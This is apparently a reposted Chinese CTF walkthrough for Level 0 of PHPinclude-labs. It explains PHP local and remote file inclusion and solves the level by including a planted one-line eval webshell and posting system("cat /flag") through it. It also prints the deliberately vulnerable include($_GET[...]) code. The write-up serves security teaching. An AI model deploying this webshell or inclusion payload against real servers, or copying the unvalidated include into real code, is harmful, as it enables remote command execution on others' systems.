当前位置: 首页 > news >正文

[HelloCTF]PHPinclude-labs超详细WP-Level 0

源码分析

讲解源码前, 先讲一下 PHP 文件包含漏洞

漏洞原理

  • 文件包含用于

    • 包含内容和函数

    • 用于减少重复代码

  • 示例

    • <?php$file = $_GET['file'];include($file);
      ?>
      
    • 因为对动态包含的文件没有进行校验等操作, 可能会造成注入之类的问题

    • http://www.xxx.com/main.php?file=x.php
      
  • 文件包含漏洞分类

    • 本地文件包含漏洞-LIF

      • 包含的文件在服务器本地
    • 远程文件包含漏洞-RLF

      • 包含的文件在第三方服务

      • 需要php.ini中的 allow_url_fopenallow_url_include 为ON

      • http://www.xxx.com/main.php?file=http://www.yyy.com/file.php
        
  • PHP常见的文件包含的函数

    • include

      • 当使用该函数包含文件时, 只有代码执行到include()函数时才将文件包含进来, 发生错误时之给出一个警告, 继续向下执行
    • include_once

      • 功能与Include()相同, 区别在于当重复调用同一文件时,程序只调用一次
    • require

      • require()与include()的区别在于require( )执行如果发生错误, 函数会输出错误信
    • require_once

      • 功能与require()相同, 区别在于当重复调用同一文件时, 程序只调用一次

  • 通过上文大致知道 PHP 文件包含的分类(本地文件包含 与 远程文件包含)

    • 由于本题开启了如下配置

      • allow_url_fopen=On 规定是否允许从远程服务器或者网站检索数据(默认为On)
        allow_url_include=On 规定是否允许include/require远程文件(php5.2之后默认为Off)
        
    • 所以可以使用远程文件包含的

  • 接着开始分析源码

    • <?php isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';highlight_file(__FILE__);
      ?>
      
    • 源码其实很短, 除了显示代码的语句 highlight_file(__FILE__);

    • 就是 isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';

      • 即检测是否 GET 传入 wrappers 参数

        • 如果有的话就是用 include() 函数包含这个参数文件

        • 即使参数中的文件也在该文件执行

解题分析

  • 通过这个语句 isset($_GET['wrappers']) ? include($_GET['wrappers']) : ''; 就可以进行文件包含了

  • 本题因为配置 allow_url_include=On, allow_url_fopen=On 所以可以包含远程文件

    • 比如包含服务器上的一句话木马

    • 但是这里探姬已经在当前目录在放了一个 backdoor.txt 的后门

      • 即一句话木马
    • 所以这里就不使用服务器上的马了

    • 不过也可以通过包含百度演示一下

      • http://靶机地址/?wrappers=http://www.baidu.com
        
      • 在这里插入图片描述

      • 这里放大一下, 方便把题目和百度的页面一起截进去

  • 除此之外, 探姬还留了一个 phpinfo.txt 文件

    • 里面的内容是 <?php phpinfo(); ?>

    • 我们可以通过包含这个文件, 参看当前PHP的信息

    • 这里就可以看到 allow_url_include, allow_url_fopen 是开启状态

    • 在这里插入图片描述

解题步骤

  • 上文通过 百度 演示了远程文件包含

  • 接下来就通过本地文件包含来获取flag

    • 直接使用探姬留下的后文文件 backdoor.txt

    • http:/靶机地址/?wrappers=./backdoor.txt
      
  • 这样就结束了?

    • Flag在哪?

    • 怎么没有出现?

  • 如果你有这样的疑问, 或许你还没理解文件包含的意思

    • 文件包含只是把传入的文件包含在原本的代码中, 并且运行

    • 但是backdoor.txt 有什么呢?

      • 如下

        • <?php @eval($_POST['ctf']); ?>
          
      • 发现又什么了吗? -> @eval($_POST['ctf']);

        • POST 传入的参数会被 eval 当做命令执行

        • eval 只是执行 PHP 命令的

        • 为了执行系统命令, 我们还需要嵌套一层 system() 函数

        • ctf 传入的参数应该是 system("");, 引号中间加入系统命令, 如 ls

  • 也就是在 ?wrappers=./backdoor.txt 传参后, 当前页面的源码执行后, 又执行了 backdoor.txt 的内容

    • <?php isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';highlight_file(__FILE__);
      ?>
      <?php @eval($_POST['ctf']); ?>
      
    • 我们就可以接着一同 POST 请求传入参数 ctf

  • 最后 Payload 报文如下

    • /?wrappers=./backdoor.txt
      ctf=system("cat /flag");
      
    • 在这里插入图片描述


http://www.mrgr.cn/news/94828.html

相关文章:

  • 解决git init 命令不显示.git
  • C++基础 [五] - String的模拟实现
  • Mock接口编写教程-axios-mock-adapter(React)
  • StarRocks + Paimon 在阿里集团 Lakehouse 的探索与实践
  • Python中的time模块
  • 操作系统相关知识
  • Docker下载,包含Win、Mac
  • C# WPF编程-启动新窗口
  • 超参数优化算法:scikit-opt库、Scikit-Optimize库
  • [设计模式与源码]1_Spring三级缓存中的单例模式
  • Unity教程(二十二)技能系统 分身技能
  • docker-compose install nginx(解决fastgpt跨区域)
  • LCR 159. 库存管理 III
  • DeepSeek-R1学习
  • Cursor与Coze结合开发电影推荐系统:一次高效的技术实践
  • 社区版Uos20.9从源码编译QT5.15.2
  • 分布式锁: 并发时,redis如何避免删别人的锁
  • c++ 基础题目lambda
  • pytorch 网络结构可视化Netron安装使用方法(已解决)
  • 2025-03-18 学习记录--C/C++-PTA 习题4-9 打印菱形图案